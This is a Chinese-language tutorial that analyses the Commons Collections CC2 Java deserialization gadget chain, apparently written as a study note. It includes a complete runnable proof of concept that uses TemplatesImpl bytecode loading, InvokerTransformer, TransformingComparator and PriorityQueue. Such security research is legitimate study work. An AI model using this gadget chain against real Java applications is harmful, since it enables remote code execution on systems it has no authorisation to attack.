背景

在Shiro反序列化等漏洞利用中,有一些自定义的ClassLoader,如ClassResolvingObjectInputStream,它会限制数组类型(如Transformer[])的动态加载,CC1、CC4等利用链就使用了Transformer数组,导致利用链无法使用,本篇的CC2在CC4的基础上避免了使用数组来构造利用链。

CC2分析

环境不变

链尾TemplateImpl

CC2只是在CC4的基础上删除了使用数组的方式改用直接使用Invokertransformer的方式调用TemplateImpl#newTransformer(),因此它的整体还是一样的,我直接把动态加载字节码的链尾复制过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class CC2Test {  
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
// templates.newTransformer();
}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}
}

InvokerTransformer

使用该类调用newTransformer()方法

1
InvokerTransformer newtransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});  

TransformingComparator

与CC4相同,还是使用TransformingComparator#compare()去调用transform(),按理说应该传入newtransformer,但是在CC4中已经分析过,由于PriorityQueue类在添加数值时也会本地调用compare()方法,这样就无法生成序列化的利用链,因此我们需要先把他换成其他的,在PriorityQueue#add()之后再通过反射把值修改回来
如下:
更改前

1
TransformingComparator transformingComparator = new TransformingComparator<>(newtransformer);

更改后

1
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

链首PriorityQueue

此时我们只需要用Template调用TransformingComparator内的newtransformer就可以了,使用add()template添加进PriorityQueue里去

1
2
3
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
priorityQueue.add(templates);
priorityQueue.add(1);

反射修改值

再把上方提到的值,通过反射修改回去

1
2
3
4
Class c = transformingComparator.getClass();  
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, newtransformer);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());

//获取newTransformer方法
InvokerTransformer newtransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});


TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

//链首
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);

//反射修改值
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, newtransformer);

// serialize(priorityQueue);
unserialize("2.bin");

}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功弹出计算器

流程图

CC2

总流程图

总结

还有一个问题是在CC4中提到的,在commons collections4.0版本之后,InvokerTransformer不再实现Serializable,为什么CC2链用的是同一个版本,但还是用了InvokerTransformer这个类呢?

其实CC2这条链虽然用了InvokerTransformer类,但是该类并没有直接参与序列化,而是作为TransformingComparator的字段,​随TransformingComparator一同被序列化和反序列,从而成功执行命令。

该链只是在CC4的基础上做了一处修改,删除了使用Transformer数组的方式,改用InvokerTransformer直接调用newTransformer()